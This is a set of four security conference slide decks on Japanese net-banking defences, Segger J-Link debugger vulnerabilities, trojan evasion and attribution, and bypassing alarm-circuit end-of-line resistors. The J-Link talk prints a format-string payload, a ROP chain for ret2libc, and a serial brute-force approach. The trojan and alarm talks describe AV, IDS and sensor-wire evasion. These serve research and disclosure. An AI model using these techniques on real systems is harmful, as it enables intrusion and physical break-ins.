Light & Shadow about Net-Banking $ecurity @ Japan @2013 HITCON 愛奴 & 愛花 Punpun maru Profile • Started lecturing and writing as a freelancer since 2000 • AVTOKYO Speaker (2010, 2011, 2012) • Wrote “Introduction of Information Security ” for the textbook of universities • Regular writer for “Hacker Japan Magazine “ • Serious day job around Financial Industry Profile (愛奴&愛花 Aido & Manaka) • I successfully took her out from the virtual game world. • I am presenting about how beautiful life with Girlfriend • Please see Every day of love 京都 伏見稲荷大社 Fushimi Inari Taisha Snowball fight against Japan CTF team UCQ tessy CTF Team Lovers Team Famous Castle in Japan Himeji Castle World Heritage Kumamoto Castle Agenda • Background • History • Data and Statics • “Light and Shadow” of net-banking security practices • Cost and work amount • Business Strategy • Power balance against Systems Integrators • The result of a Power Balance • Studies and Solutions • Screen Keyboard • Eliminating Popup Windows • S/MIME mail • Password Reminder • One Time Password (Bingo Card) • One Time Password (send by e-mail) • Secure Browser • Password Number(PIN) • Telephone Banking Background 8 • In order to prevent drawing money by fraud, phishing or spyware, many banks performed original various measures in Japan. • It's unfortunate but they failed to protect their customers from a crime. • I will explain the light and the shadow of those measures. History 9  1997/01 The first net-banking services was launched by Sumitomo Bank.  2000/01 The first bank provides all services via the internet, was established.  2005 Phishing fraud mail posing Mega-Bank (Bank of Tokyo-Mitsubishi UFJ) was found.  2006 The first damege by phishing fraud was found at E-bank (Rakuten Bank, today).  2007 Phishing fraud site have users enter all numbers on Bingo Card was found at Shinsei Bank (First Case).  2011 Simultaneous multiple phishing fraud (use spyware) posing regional banks occurred in later half of the year.  2012 Phishing fraud site have users enter all numbers on Bing Card was found at famous 3 Mega-Banks.  2013 As of Apr. end, defrauded amount exceeds 100 million JPY (30 million NTD) . Data and Statics 10 at 31/03/2012 Researched by FISC The number of Banks witch give Internet Banking 411 The number of accounts 60,258,506 • Half of peoples have accounts of net-Banking in Japan!! Data and Statics 11 2010 2011 2012 (Apr-Dec) Internet Banking The number of Damage 78 162 91 Amount of damage(JPY) 88million 402million 68million Use Fake Cash Card The number of Damage 272 477 670 Amount of damage(JPY) 248million 320million 583million Cash Card Theft The number of Damage 6,589 5,289 2,853 Amount of damage(JPY) 3,888 million 2,856 million 1,227 million http://www.fsa.go.jp/news/24/ginkou/20130524-1.html • Comparing with the Cash card theft, amount of damage is about 1/20. Light & Shadow of net-Banking $ecurity practices Screen Keyboard 13 • Have ever been breached many times • Weak against RAT(Remote Access Trojan horses) • Inconvenient to use • Security tends to come with inconvenience, but inconvenience do not mean secured • Most popular in Japan • “Trump” against software key loggers Light Shadow example : Ultimate Screen Keyboard 14 • If mouse cursor was out of window, Key pattern appeared • If mouse cursor was inside window, Key pattern disappeared • You must memorize random Key pattern!! Mitsui sumitomo Banking Eliminating popup windows 15 • One of major bank in Japan has "preference" to adopt popup windows; they even provides caution for malfunctioning popup windows by popup window • "standards " does not make sense, unless everybody adopts • Prevents XSS, transfer to fraud site • Countermeasure for insert Malicious Frame window , Man in the Browser Attack Light Shadow Bad case about popup windows 16 Oh!! It hided URL Bar caution for malfunctioning popup windows And so, popup window appeared!! S/MIME mail 17 • Most consumers do not know what is S/MIME • They even misunderstand the signature to be malware! • "Cheap", tens of millions adoption cost brings nearly ZERO benefit. • Does not work with Gmail • As the result, it is only "way to excuse" for banks • Assures the validity and non-compromised • Easy to adopt; just adding onto mail servers • Inexpensive, tens of millions JPY Light Shadow Password Reminder 18 • By checking Facebook/Blog, easy to know one's personal information including mother's maiden name and name of pet • A junior high school student cracked by checking information on SNS. Identify users by "secret" question; asking what only oneself knows. i.e. mother's maiden name, name of pet Light Shadow A Bad example 19 The question pattern are fixed. Easy to predict. A comparatively good example Example questions are not so good. The question are made by customer. One Time Password (Bingo Card) 20 • Some banks do not limit reloading times; keep reloading until the eavesdropped pattern appears • If the Bing Card does not have many enough numbers, the card could be reproduced by eavesdropping for several times. • Successfully phished by entering all the numbers in Bingo Card. • If the Bing Card adopts 8-10 random numbers (not number matrix), even easier to phish. • Specify different two cells in Bingo card at random • Eavesdropping password does not make sense Light Shadow Phishing Site : entering all the numbers 21 Shinsei Bank Bingo Card Phishing Site Phishing Site : entering all the numbers 22 The Bank of Tokyo- Mitsubisi UFJ Bingo Card Phishing Site One Time Password (send by e-mail) 23 • Eavesdropping by spyware and use before expiration works; it allows repeat use. • Several cases are already there by spyware. (Bank of Tokyo-Mitsubishi UFJ) • Virtual 2 factor authentication by e-mail address in addition of ID/password. • Expires in certain minutes against repeat use (Replay Attack) • Rather lower cost to adopt, as it does not require tokens to be delivered. Light Shadow Secure Browser 24 • Difficult to prove validity of itself. • Hard to install for non- technical consumers • Can be faked easily • Fake browser is more user friendly and validity appearing; assurance phrase can also be faked on the fake, like "100% secure"! • Eavesdropping by spyware and use before expiration works; it allows repeat use. • Several cases are already there If All Banks keep pace and progress, it becomes a trump card. (Restrict custom-designed ) Light Shadow Password Number(PIN 4digits) 25 • Cannot force change • Some of customers have difficulty to use ATM • Some other of customers(senior, patients) even cannot go up to ATM booth. • Date of birth is "popular" information on Facebook • Called attention of not to use easy-to-guess numbers like date of birth or call number • Can be changed on ATM, do not have to talk to representatives. Light Shadow Telephone Banking 26 • Gain authentication information, not withdraw money • No.1 and No.2 above are useful to guess PIN; there are cases • Some banks do not limit PIN enter times • Even if there are limit, it still useful to check if the date of birth is PIN Avoid fraud withdraw by limiting functions like follows 1. Checking balance only 2. Transfer only to registered accounts 3. Operators are always in the process of withdraw/transfer Light Shadow Frankly speaking, this is one of critical point!! Cost and work amount 27 • Bingo Card must be sent to all individual customers. • Many inactive accounts • Some customers do not report address change (amount 10%) • Bank of Mitsubishi Tokyo UFJ have 13 million customers • How much the cost would be, delivering IC cards to 13 million customers? • Still, how much the cost would be delivering Bing Cards? • As the result, adopting OTP sent by e-mail; it is only solution to make the cost "realistic level" • Only 1 of 20 damage, of emergency scam • "reasonable" level from the standpoint of risk and cost Business Strategy 1 28 • Due to the quota number, net banking services were applied anyone who open accounts. • Most of the people, do not use net banking services. • The quota was set based on the myth of "eternal growth". Business Strategy 2 29 • Japan banks prefer to do what others are doing. "Must do, because they are doing!!" • Intends differentiation, but do what others do. • Care do same as or more than others, than what to prioritize for benefit • Ironically, customer expect bank to do so. • Customer said “Don‘t you have the service, while *** Bank have?" • As the result of the above, "adopt Bingo Card, because *** Bank did". Power balance against Systems Integrators 30 • Banking System is one of the best business for Systems Integrators. • That means, banks become the customer of "self- consequence" • Systems Integrators become " ingratiating" The result of a Power Balance 31 • The structure above means banks do not have to know about information systems/information security, and they actually do not know. Consequently, Systems Integrators provides "easy-to-understand security solutions" to bank. • Visible; for example, Screen Keyboard • Bank do not think by themselves. • Systems integrators provides solutions of delighting banks • It means no one analyze risk. Studies and Solutions 32 • Once services are deployed based on convenience, Security is hard to implement. • Design should be scandalized and applied without any exceptions. • Should not allow differentiation, as it confuse customers and complicate specification enough to have vulnerabilities. • Internet banking services should not be applied for those who do not use; ATM is good enough. (Simple services, such as a check of the balance ) • Wire transfer can be switched to Credit Card Payment, as it makes maximum damage within card credit limit. Everybody checks credit card bills more frequently than rarely used bank account statement. • To suppress the part of way out, just lower wire transfer limit. Thank you for listening 33 e-mail : [email protected] Facebook : Hiroshi.Aido 相戸 浩志 Twitter ID : @aido_hpf In Taiwan, internet banking services are provided only those who really needs the services, as it require IC cards and card readers. This is very good practice. As shown in my presentation, with chasing the number of service users, providing such services to those who do not need, become risk. In addition, banks must consider how to deal with their security risk without completely relying on to Systems Integrators. I hope Taiwanese to establish good security practice based on the Japanese case studies mentioned in my presentation.
pdf
Somerset Recon Infecting the Embedded Supply Chain Zach Miller Alex Kissinger Somerset Recon Introduction - Who We Are Zach: ● Security Researcher @ Somerset Recon ● Reverse Engineering, Pen Testing ● Twitter: @bit_twidd1er Alex: ● Barista that occasionally does security things @ Somerset Recon ● Cappuccinos, Hardware Hacking, Reverse Engineering Somerset Recon Previous Research - Electronic Safe Lock Analysis ● Discovered vulnerabilities in the mobile application and wire protocol of the SecuRam Prologic B01 Bluetooth electronic safe lock ● Capture and decode PIN numbers transmitted wirelessly ● Brute force PIN numbers over the wire Somerset Recon Previous Research - Hello Barbie ● Security analysis on the Mattel Hello Barbie doll ● Identified several vulnerabilities affecting the device and associated web and mobile technologies Somerset Recon What do these embedded devices have in common??? Somerset Recon They all utilize embedded debuggers for their development Somerset Recon Where are embedded debuggers used? Embedded General Purpose ??? Somerset Recon Industries That Use Embedded Debuggers ● Automotive ● Industrial ● Medical ● Communications ● Digital Consumer ● Etc. Somerset Recon Our Targets Somerset Recon Our Targets Somerset Recon Segger J-Link Debug Probe ● JTAG/SWD/SWO/etc. ● In Circuit Emulator (ICE) ● In Circuit System Programmer (ICSP) ● Supports ARM/ARM Cortex, RISC-V, RX targets ● USB and Ethernet ● Cross platform toolchain ● “Ultrafast” download/upload to flash ● Unlimited software breakpoints “SEGGER J-Links are the most widely used line of debug probes available today”- www.segger.com Somerset Recon Segger J-Link - Attack Surface Hardware Debug Probes ○ Runs RTOS Software Packages that Interact with Debug probes ○ USB Driver ○ Lots of user-mode applications ○ Full-blown IDE Somerset Recon Segger J-Link - Hardware J-Link EDU V9.3 Somerset Recon Segger J-Link - Hardware Somerset Recon Segger J-Link - Hardware Somerset Recon Segger J-Link - Hardware Somerset Recon Segger J-Link - Hardware ● Tag-Connect™? Somerset Recon Segger J-Link - Debugging a JLink with a JLink ● Security and Flash bits set in flash ● Refuses to connect and erase ● Other ways around this? Somerset Recon Segger J-Link - Debugging a JLink with a JLink ● JLink Mini EDU MCU Reference Manual ● Chips are cool Somerset Recon Vulnerability Research - Reverse Engineering ● A lot of cross-compiled code ● Some interesting custom string-manipulation stuff (more on this later) ● A lot of uses of dangerous/banned functions ● Mostly basic applications, nothing that complicated going on Somerset Recon Vulnerability Research - Reverse Engineering Analysis of binary protections: ● DEP/NX enabled ● ASLR enabled ● PIE is not enabled ● No stack canaries in *nix binaries, stack canaries present in Windows ● SafeSEH used in Windows binaries ● No Symbols Somerset Recon Vulnerability Research - Fuzzing Set up fuzzers to test various input vectors ○ Files ○ Network interfaces ○ Command line args Used peach to do generational fuzzing ○ A lot of structured, text-based formats ○ A lot of interesting code paths that needed magic numbers to reach Somerset Recon Vulnerability Research - Fuzzing ● Tens of thousands of crashes ○ Core files everywhere ● Lots of exploitable crashes ● ...but also tons of duplicate crashes ● We had issues keeping J-Link devices attached to VMs Somerset Recon Vulnerability Research - Fuzzing Issues keeping J-Link attached to VM: ● After a crash the J-Link devices enter a bad state and are disconnected from the fuzzing VM ● We created a crash monitor to trigger on any crash while fuzzing ○ Have the monitor run a script to check if J-Link had fallen off the VM ○ If so, use libvirt to reattach the J-Link if needed Somerset Recon Local Exploits Somerset Recon CVE-2018-9094 - Format String Vulnerability ● Found interesting custom printf style functions implemented in J-Link Somerset Recon CVE-2018-9094 - Custom String Formatting Accepts limited subset of format specifiers ● Accepts basic specifiers: %d, %x, %p, %u, … ● Doesn’t accept the %n family of specifiers ● Accepts precision arguments: .number Somerset Recon CVE-2018-9094 - Format String Vulnerability JFlashSPI_CL.exe -open xAAAA%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X%X% X%X%X%X%X%X%X%s Somerset Recon CVE-2018-9094 - Impact ● Lack of %n format specifiers reduces severity of this vulnerability ● Potentially could be leveraged as part of an exploit chain as a primitive to read arbitrary memory Somerset Recon CVE-2018-9095 - Discovery ● Found via fuzzing and made up most of our exploitable crashes (>99%) ● Traditional stack buffer overflow ● Reads each line of a file into 512 byte stack buffer Somerset Recon CVE-2018-9095 - Triage $ gdb -c core GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1 ... [New LWP 1928] Core was generated by `JLink_Linux_V630b_i386/JLinkExe -CommandFile payload'. Program terminated with signal SIGSEGV, Segmentation fault. #0 0xb7613456 in ?? () gdb-peda$ bt #0 0xb7613456 in ?? () #1 0x41414141 in ?? () #2 0x4140b609 in ?? () #3 0x08048f1c in ?? () #4 0x08055813 in ?? () #5 0x4140b609 in ?? () #6 0x09d17cc0 in ?? () Backtrace stopped: previous frame inner to this frame (corrupt stack?) Somerset Recon CVE-2018-9095 - Exploitation Steps to exploitation: 1. Control over return address 2. Get the address of Libc 3. Use that to get the address of system() 4. Call system() with arguments 5. Bob’s your uncle. Somerset Recon CVE-2018-9095 - Triage 1. Control over return address ● Used GDB Peda to calculate offset ● Other cool tools (radare2, pwntools, patter_create.rb) out there can utilize cyclic patterns (De Bruijn sequence) to calculate offsets Somerset Recon CVE-2018-9095 - Triage ● ROP gadgets ○ ROPGadget Tool ■ Grep like a madman ○ Ropper ■ Z3 ○ Manually Searching/Custom Tools ○ Bad bytes are bad Somerset Recon CVE-2018-9095 - Triage 2. Get the address of Libc ● Used pwntools to dump all got.plt symbols ● Search through ROP gadgets for uses ● ROP gymnastics to dereference it >>> for x in elf.plt: ... print x ... lseek malloc clock_gettime dlsym memset strcat __libc_start_main printf fgets //Chain pseudo 0x804ae7c: pop esi; pop edi; pop ebp; ret; //esi = **libc 0x0804ae79: mov eax, esi; pop ebx; pop esi; pop edi; pop ebp; ret; //eax = esi, esi = **libc 0x0804d0b3: add eax, dword ptr [eax]; add byte ptr [ebx + 0x5e], bl; pop edi; pop ebp; ret; //eax += *eax 0x8048e87: sub eax, esi; pop esi; pop edi; pop ebp; ret; //eax -= esi 0x0804b193: add eax, 0x5b000000; pop esi; pop edi; pop ebp; ret; //eax += 0x5b000000, esi = 0x5b000000-off_to_sys 0x8048e87: sub eax, esi; pop esi; pop edi; pop ebp; ret; //eax -= esi 0x08049841: push esi; call eax; Somerset Recon 3. Use that to get the address of system() ● The system() function was not called in text, used to the “__libc_start_main” symbol instead ● GDB to calculate the offsets ● Lack of gadgets at this point ○ ROP gymnastics to get the proper value in EAX CVE-2018-9095 - Triage //Chain pseudo 0x804ae7c: pop esi; pop edi; pop ebp; ret; //esi = **libc 0x0804ae79: mov eax, esi; pop ebx; pop esi; pop edi; pop ebp; ret; //eax = esi, esi = **libc 0x0804d0b3: add eax, dword ptr [eax]; add byte ptr [ebx + 0x5e], bl; pop edi; pop ebp; ret; //eax += *eax 0x8048e87: sub eax, esi; pop esi; pop edi; pop ebp; ret; //eax -= esi 0x0804b193: add eax, 0x5b000000; pop esi; pop edi; pop ebp; ret; //eax += 0x5b000000, esi = 0x5b000000-off_to_sys 0x8048e87: sub eax, esi; pop esi; pop edi; pop ebp; ret; //eax -= esi 0x08049841: push esi; call eax; Somerset Recon 4. Call system() ● Wanted it to be reliable and reproducible ● DEP/NX is annoying ● What string argument do we pass to system()? CVE-2018-9095 - Triage //Chain pseudo 0x804ae7c: pop esi; pop edi; pop ebp; ret; //esi = **libc 0x0804ae79: mov eax, esi; pop ebx; pop esi; pop edi; pop ebp; ret; //eax = esi, esi = **libc 0x0804d0b3: add eax, dword ptr [eax]; add byte ptr [ebx + 0x5e], bl; pop edi; pop ebp; ret; //eax += *eax 0x8048e87: sub eax, esi; pop esi; pop edi; pop ebp; ret; //eax -= esi 0x0804b193: add eax, 0x5b000000; pop esi; pop edi; pop ebp; ret; //eax += 0x5b000000, esi = 0x5b000000-off_to_sys 0x8048e87: sub eax, esi; pop esi; pop edi; pop ebp; ret; //eax -= esi 0x08049841: push esi; call eax; Somerset Recon 4. Call system() with arguments $ strings JLinkExe | grep "sh$" fflush SWOFlush .gnu.hash That’ll work... CVE-2018-9095 - Triage Somerset Recon CVE-2018-9095 - PoC ● Local code execution ● 32-bit JLinkExe binary ● i386 and amd64 Linux systems ● ROP ○ ASLR bypass ○ Ret2libc Somerset Recon CVE-2018-9095 - Demo ● Demo Somerset Recon CVE-2018-9097 - Settings File Overflow Very similar to previous exploit JLinkExe executable reads a “SettingsFile” ● Reads in settings file and passes to libjlinkarm.so.6.30.2 to update settings ● libjlinkarm.so.6.30.2 has a buffer overrun in BSS segment ● Used the overflow to overwrite a function pointer in BSS segment Somerset Recon Remote Exploits Somerset Recon CVE-2018-9096 - Discovery JLinkRemoteServer opens up a bunch of ports: $ sudo netstat -tulpn | grep JLinkRemote tcp 0 0 0.0.0.0:24 0.0.0.0:* LISTEN 31417/./JLinkRemote tcp 0 0 127.0.0.1:19080 0.0.0.0:* LISTEN 31417/./JLinkRemote tcp 0 0 0.0.0.0:19020 0.0.0.0:* LISTEN 31417/./JLinkRemote tcp 0 0 127.0.0.1:19021 0.0.0.0:* LISTEN 31417/./JLinkRemote tcp 0 0 127.0.0.1:19030 0.0.0.0:* LISTEN 31417/./JLinkRemote tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN 31417/./JLinkRemote Somerset Recon CVE-2018-9096 - Discovery JLinkRemoteServer opens up a bunch of ports: $ sudo netstat -tulpn | grep JLinkRemote tcp 0 0 0.0.0.0:24 0.0.0.0:* LISTEN 31417/./JLinkRemote tcp 0 0 127.0.0.1:19080 0.0.0.0:* LISTEN 31417/./JLinkRemote tcp 0 0 0.0.0.0:19020 0.0.0.0:* LISTEN 31417/./JLinkRemote tcp 0 0 127.0.0.1:19021 0.0.0.0:* LISTEN 31417/./JLinkRemote tcp 0 0 127.0.0.1:19030 0.0.0.0:* LISTEN 31417/./JLinkRemote tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN 31417/./JLinkRemote Telnet? Somerset Recon CVE-2018-9096 - Discovery ● Reverse engineering revealed it was actually a built-in Telnet server: ● Allows Telnet connections which provide similar functionality to the Tunnel server Somerset Recon CVE-2018-9096 - Discovery Fuzzing of the Telnet server revealed an interesting crash: JLinkRemoteServ[31402]: segfault at 41414141 ip 41414141... Somerset Recon CVE-2018-9096 - Triage Additional RE and triage revealed the following about this vulnerability: ● Stack buffer overflow ● Crashes are not consistent due to race condition ● Limited amount of space to work with (48 byte maximum ROP chain length) ● ASLR + DEP/NX but no PIE ● Additional user-controlled data were found in program memory Somerset Recon CVE-2018-9096 - Exploitation ● Traditional techniques used to set up the call to system() ○ NX was bypassed using ROP chain ○ ROP chain bypassed ASLR using GOT dereference of libc function call ■ ROP chain then calculates address of system() based on offset from base of libc ● Main issue was getting arbitrary user-controlled strings as argument to system() Somerset Recon CVE-2018-9096 - Exploitation ● User-controlled strings were consistently found in one of either two static locations that were 72 bytes apart from each other ○ We were unable to predict which location will store the user-controlled string ● How do we consistently setup the argument to system() to run our command? Somerset Recon CVE-2018-9096 - SPACE SLEDS Somerset Recon CVE-2018-9096 - SPACE SLEDS ● Inspired by NOP sled techniques used to increase the reliability of exploits ● Concept: Prepend spaces to the user-controlled command string in order to create some overlap between the two command strings ● Use the address of the overlapping command strings as the argument to system() Somerset Recon CVE-2018-9096 - Demo Somerset Recon CVE-2018-9093 - Tunnel Server Backdoor “The Remote Server provides a tunneling mode which allows remote connections to a J-Link/J-Trace from any computer, even from outside the local network.” Somerset Recon CVE-2018-9093 - Tunnel Server Backdoor “I wonder if there are any weaknesses with their auth?” Somerset Recon CVE-2018-9093 - Tunnel Server Backdoor ● Registers all detected J-Link device serial number with Segger server ● Segger server accepts connections and proxies traffic back to registered devices based off of serial numbers ● Uses hardcoded magic numbers and no authentication ● ● J-Link device -> proxy server: Magic number = 0x11223344 ● Debugging client -> proxy server: Magic number = 0x55667788 Somerset Recon CVE-2018-9093 - Serial Number Analysis ● But brute forcing all of the serial numbers would be too hard...right? ● Serial numbers are 9 decimal digits - 10 billion possibilities ○ Assuming 10 serial numbers/second it would take >31 years to try all possible S/Ns ○ ● Is there some way to shrink the space? ○ How are Segger serial numbers assigned? ○ Where do the serial numbers begin? ○ ● How can we find J-Link serial numbers? Somerset Recon CVE-2018-9093 - Serial Number Analysis Google “Segger J-Link” images: Somerset Recon CVE-2018-9093 - Serial Number Analysis Phone a friend and ask for their serial numbers? Somerset Recon CVE-2018-9093 - Serial Number Analysis ● From search results combined with devices we own we were able to find about about 30 J-Link serial numbers ● From those results several patterns emerged Somerset Recon CVE-2018-9093 - Serial Number Analysis ● 86: Model ● 10: Version ● 00743: Incremented number per device Somerset Recon CVE-2018-9093 - Serial Number Analysis Serial Number Analysis Results: ● Good coverage of serial number space is possible with ~100,000 serial numbers ○ Reduces time to brute force from over 32 years to less than 3 hours Somerset Recon CVE-2018-9093 - Impact ● Demo Somerset Recon CVE-2018-9093 - Impact Once connected to a J-Link Device one can: ● Flash new firmware to a device ● Read existing firmware ● … ( ͡~ ͜ʖ ͡°) Somerset Recon Disclosure Somerset Recon Disclosure April 4 2018 - Disclosed vulnerabilities to Segger April 5 2018 - Segger responds acknowledging vulnerabilities April 9 2018 - Segger releases patches for most of the vulnerabilities April 10 2018 - Founder & CTP responds thanking us Somerset Recon Summary of Vulnerabilities ● Vulnerabilities in J-Link tunnel server opens backdoor to attached J-Links and can compromise the state of your devices and your network ● Vulnerabilities in the JLinkRemoteServer allow an attacker to gain full remote code execution ● No authentication for JLinkRmoteServer or JLinkGDBServer which allows downloading and flashing of embedded devices ● Traffic is not encrypted to JLinkRemoteServer or tunnel server ● Vulnerabilities in file parsing allow an attacker who distributes malicious J-Link files (command files or settings files) to gain execution on the machine that parses those files Somerset Recon Conclusions ● Developers should always use the PIE flag to make memory corruption more difficult ● Several unknown vulnerabilities were discovered that affect the JLink Debugger family and its associated software ● Given that these devices play a critical role in the embedded supply chain, additional security protection should be implemented to protect the users and consumers ● Segger’s response was encouraging ○ No cease and desist ○ Quickly patched many of the vulnerabilities ● Don’t trust any remote debugging server Somerset Recon BUT WAIT THERE’S MORE! ● JLink firmware flashing process ● Firmware malware Somerset Recon JLink Updating Process ● JLink Commander will ask you if you’d like to update your connected JLink Debug Probe ○ We figured out how the update process works ● We reversed the USB protocol Somerset Recon JLink Updating Process ● Firmware is checked on the device before flashing, but not very well ○ Hint: It uses dates ○ Can this be bad? ● Firmware is not signed and can be modified How could this be bad? Somerset Recon Malware Consider a piece of malware that gets circulated via email, etc.: ● Runs silently ● Flashes any JLink connected to the computer ● Exits cleanly Somerset Recon Malware - DEMO ● Demo Somerset Recon Questions? We will be posting slides, source code, and additional info: ● Slides and POCs: https://github.com/Somerset-Recon ● Blog post: https://www.somersetrecon.com/
pdf
特种木马攻击与溯源 天融信阿尔法实验室 冷风 你可以了解到: 特种木马的一些特性 1 2 攻击溯源的一些思路 目录 穿透ISA代理及硬件代理 1 2 绕过流量监控及地址检测 3 使用多协议进行内容穿透 协议加密穿透IPS/IDS 4 5 使用隧道穿透单机防火墙 对抗虚拟机检测 6 7 对抗启发式检测 8 目前杀软的软肋 我们的对手是谁 1 2 如何发现特种木马 3 基于二进制的分析 基于IP的分析 4 5 基于蜜罐的分析 6 一层VPN的溯源 2 溯源之难 怎么定义特种木马? 特种木马对网络的穿透性 穿透ISA代理及硬件代理 1 2 绕过流量监控及地址检测 3 使用多协议进行内容穿透 协议加密穿透IPS/IDS 4 5 使用隧道穿透单机防火墙 穿透代理 绕过流量监控和恶意地址检测 把数据传到公共网络逃避恶意地址检测和流量检测 采用多种协议穿透 一般会使用应用协议如HTTP DNS 等 协议加密绕过IPS/IDS防火墙 一般公开的RAT程序通信特性会被加入规则库 插入白名单程序绕单机防火墙 注入防火墙默认允许通讯的进程 与杀毒软件的对抗 对抗虚拟机检测 1 2 对抗启发式检测 3 目前杀软的软肋 对抗虚拟机检测 搜索虚拟环境中的进程,文件系统,注册表 1 2 搜索虚拟环境中的内存 3 搜索虚拟环境中的特定虚拟硬件 4 搜索虚拟环境中的特定处理器指令和功能 对抗启发式检测 把功能做成shellcode或者使用动态获取api针对启发式面杀效果好 或者把恶意代码糅合和庞大的开源项目也会有好的逃逸效果。 目前杀软的软肋 恶意程序利用第三方的白名单程序是杀毒软件的一个软肋 特种木马的溯源 我们的对手是谁 1 2 如何发现特种木马 3 基于二进制的分析 基于IP的分析 4 5 基于蜜罐的分析 6 一层VPN的溯源 溯源之难 隐藏成本底 1 2 VPN盛行,国与国之间协调困难 我们的对手是谁? 引用兰德报告的一段话 如何发现特种木马 有大量样本数据 1 2 对大量数据的甄别能力 基于调试信息的溯源 编译器会记录你的信息 基于IP的一个溯源案例 有一个服务商的名字为DomainTools它拥有12年的 历史记录包括对域名的所有权,域名注册记录,托管 数据,截图和其他DNS记录等信息。 基于蜜罐的分析 蜜罐溯源的小思路 在各种文档中插入一些引用网络的资源,如图片。 一层VPN的溯源 对抗云技术检测 网络出入口是否有日志可查是关键所在 基于日志的分析 日志分析的难点 主要在于,攻击指纹确定以及大量日志联动分析。 日志分析案例 例如 攻击者在攻击过程中VPN出现断线情况。 谢谢观看 天融信 我的联系方式qq: 121 121 606
pdf
Defeating Physical Intrusion Detection Alarm Wires Bill Graydon @access_ctrl [email protected] github.com/bgraydon This is a talk about sensor communication wires. ● Alarm systems and access control first ● Defeating line supervision and end-of-line resistors ○ Surrogate Resistor ○ Voltage Regulation ● Defenses Go try it in the Lock Bypass Village! https://www.bypassvillage.org/games/alarm_wire/ Alarm Zones Zone 1 - NC Zone 2 - NC Zone 3 - NO Pick the lock Unscrew the enclosure casing and jumper out the lines Blue team: put the keyswitch on the secure side of the door; use a lock of equal or higher security as the door; install a tamper switch. Red Team Attacks - Binary Sensor Comms Lines - Normally Closed Switch open - controller sees high impedance - alarm Switch closed - controller sees low impedance - no alarm Switch open, line jumpered - controller sees low impedance - no alarm Red Team Attacks - Binary Sensor Comms Lines - Normally Open Switch open - controller sees high impedance - no alarm Switch closed - controller sees low impedance - alarm Switch closed, line cut - controller sees high impedance - no alarm Blue Team Defense - Binary Sensor Comms Lines Vulnerable - put voltage across line, listen for high / low impedance Less vulnerable - put voltage across line, listen for impedance in range Switch between two different resistances (wire one series, one parallel) R1 R2 Best - encrypted digital line with DOS detection heartbeats EOLR End-of-line Resistors Two Approaches 1) Surrogate Resistor 2) Voltage Regulation Resistor Review (Slide 1 of 3) R (Ω, kΩ) I (A, mA) V (V) R = V I Resistor Review (Slide 2 of 3) Requivalent = R1 + R2 R1 R2 Resistor Review (Slide 3 of 3) R1 R2 Requivalent = R1 + R2 1 1 1 R1 R1||R2 = R1 R2 How does the controller measure resistance? R1 R1||R2 A R1 R1||R2 V Rint Special case: open circuit (line cut) A V Rint Special case: short circuit (line jumpered) A V Rint E.g. Honeywell V 2.8kΩ 2kΩ 12V 5V normal, 12V alarm Attacking the EOLRs V 2.8kΩ 2kΩ 12V 5V normal, 12V alarm Schematic - Multimeter Adapter V - SPDT - Measure Voltage I - DPDT - Measure Current Ω - SPDT - Measure Component ± - SPDT - Apply Voltage for Zener ★ - DPDT - Engage Attack + COM To Sensor To Controller Alarm Wire Adapter 1kΩ Schematic - Multimeter Adapter V - SPDT - Measure Voltage I - DPDT - Measure Current Ω - SPDT - Measure Component ± - SPDT - Apply Voltage for Zener ★ - DPDT - Engage Attack + COM To Sensor To Controller Alarm Wire Adapter 1kΩ Can we do Better? Can we do Better? V 2.8kΩ 2kΩ 12V 5V normal, 12V alarm Zener: effect changes with temperature; not well suited for outdoor applications if a high breakdown voltage (Avalanche effect dominates) 5.6V breakdown: Zener and Avalanche effect approximately equal, temperature coefficients cancel. Low breakdown voltage: Zener effect dominates; much more rounded knee at breakdown. Less well suited - use resistive if possible. Schematic - Multimeter Adapter 1 - SPDT - Measure Voltage 2 - DPDT - Measure Current 3 - SPDT - Measure Component 4 - SPDT - Apply Voltage for Zener Breakdown 5 - DPDT - Engage Attack Schematic - Multimeter Adapter V - SPDT - Measure Voltage I - DPDT - Measure Current Ω - SPDT - Measure Component ± - SPDT - Apply Voltage for Zener ★ - DPDT - Engage Attack + COM To Sensor To Controller Alarm Wire Adapter 1kΩ Schematic - Multimeter Adapter V - SPDT - Measure Voltage I - DPDT - Measure Current Ω - SPDT - Measure Component ± - SPDT - Apply Voltage for Zener ★ - DPDT - Engage Attack + COM To Sensor To Controller Alarm Wire Adapter 1kΩ 1 - SPDT - Measure Voltage 2 - DPDT - Measure Current 3 - SPDT - Measure Component 4 - SPDT - Apply Voltage for Zener 5 - DPDT - Engage + COM To Sensor To Controller Signal Wire Adapter Schematic - Standalone Meter 1 - SPDT - Measure Voltage 2 - DPDT - Measure Current 3 - SPDT - Measure Component 4 - SPDT - Apply Voltage for Zener 5 - DPDT - Engage Attack + COM To Sensor To Controller Alarm Wire Adapter Defences Use encrypted digital lines with DOS detection heartbeats Encrypted Digital Lines Operating Environment What do you rely on? What can change? 92 HVAC Hot water BCS/BAS Intercom Annunciation Life Safety (Fire Alarm) Lightning Protection Compressed Air Gases (CH4, N2, O2, Ar) Security Alarm System Cameras Lighting Site Radio Mobility (Hallways, Elevators) Power Water Telephone / Cell Network Network Wastewater Gas Cable EMS Transportation Garbage Collection Drainage District heating District cooling Supply chain In-Building Upstream References [1] B. Graydon, Alarms and Access Controlled Doors: DEF CON Safe Mode - Lock Bypass Village, August 6-9, 2020, Las Vegas, NV, USA. Available: https://www.youtube.com/watch?v=hGUMUG9VLKU [2] N. Koch, Inside Job: Exploiting Alarm Systems and the People Who Monitor Them: HOPE 2020, July 25-August 2, 2020, New York, NY, USA. Available: https://www.youtube.com/watch?v=Rt_9dok3d_Q [3] Physical Security, FM 19-30, Department of the Army, Washington, DC, USA, Mar. 1, 1979. [Online]. Available: https://www.jumpjet.info/Emergency-Preparedness/Disaster-Mitigation/Ci vil/Physical_Security.pdf [4] R. Antunes, Intruder Alarm Systems: The State of the Art: Submitted to CEE'07 - 2nd International Conference on Electrical Engineering. Available: https://www.researchgate.net/profile/Rui-Azevedo-Antunes/publication/23 6982377_Intruder_Alarm_Systems_The_State_of_the_Art/links/5ec2c54 492851c11a870c1ff/Intruder-Alarm-Systems-The-State-of-the-Art.pdf [5] D. J. Brooks, Intruder alarm systems: Is the security industry installing and maintaining alarm systems in compliance to Australian Standard AS2201?: Secur J 24, 101–117 (2011). https://doi.org/10.1057/sj.2009.12 [6] B. A. 